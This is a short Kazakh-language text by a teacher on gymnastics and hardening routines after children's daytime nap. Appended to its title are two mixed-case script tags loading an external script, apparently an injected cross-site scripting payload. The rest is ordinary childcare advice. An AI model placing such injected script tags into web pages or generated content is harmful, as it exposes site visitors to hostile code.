Ұйқыдан кейін қатайту процедуралары<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Баланың физикалық дамуындағы күндізгі ұйқының рөлін асыра бағалау қиын. Балаларға күннің ортасында демалу қажет.

Бірақ балаңызға жақсы көңіл-күймен оянып, түстен кейін белсенді түрде өткізуге қалай көмектесуге болады?

Ұйқыдан кейін ояту гимнастикасы мен қатайту процедураларының жиынтығын жасаған дұрыс. Күндізгі ұйқыдан кейінгі гимнастиканың негізгі мақсаты - балалардың көңіл-күйін және бұлшықет тонусын көтеру.

Тәрбиеші: Жайлибаева А.Ж.